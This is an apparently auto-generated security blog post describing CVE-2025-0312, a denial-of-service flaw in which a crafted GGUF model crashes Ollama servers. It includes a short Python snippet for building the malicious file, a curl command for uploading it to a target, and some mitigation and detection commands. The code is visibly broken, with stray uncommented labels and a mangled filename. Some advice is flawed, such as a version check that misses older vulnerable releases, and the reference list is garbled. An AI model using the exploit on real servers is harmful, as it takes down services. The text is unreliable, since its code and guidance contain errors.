Ollama, Null Pointer Dereference, CVE-2025-0312 (Critical)

Listen to this Post

How CVE-2025-0312 Works

The vulnerability exists in ollama/ollama versions ≤0.3.14 due to improper validation of GGUF model files. A crafted GGUF file containing a null pointer in critical metadata fields triggers a dereference operation without checks. When the server processes this file during model creation, it attempts to access invalid memory, causing a segmentation fault and crashing the service. Attackers can exploit this remotely by uploading malicious models, leading to Denial of Service (DoS). The CVSS 4.0 score reflects high severity due to network-based exploitation without authentication.

DailyCVE Form

Platform: Ollama
Version: ≤0.3.14
Vulnerability: Null Dereference
Severity: Critical
Date: 03/28/2025

What Undercode Say:

Exploitation Analysis

1. Malicious GGUF Creation:

import struct
with open("exploit.gguf", "wb") as f:
f.write(b"GGUF") Magic
f.write(struct.pack("<I", 0)) Null pointer

2. Trigger via API:

curl -X POST http://target:11434/api/create -F "[email protected]"

Protection Measures

1. Patch Upgrade:

ollama upgrade

2. Input Validation Patch:

// Example fix in model loader
if metadataPtr == nil {
return errors.New("invalid GGUF: null metadata")
}

3. Network Mitigation:

iptables -A INPUT -p tcp --dport 11434 -j DROP

Detection Commands

1. Log Monitoring:

grep "segmentation fault" /var/log/ollama.log

2. Process Check:

systemctl status ollama

3. Version Verification:

ollama --version | grep -v "0.3.14"

Debugging Crash

gdb -ex r --args ollama serve

Exploit Impact Metrics

– Availability: High (Service crash)
– Exploit Complexity: Low (No auth required)
– Remediation Priority: Immediate

References

– bash
– bash

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-0312
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top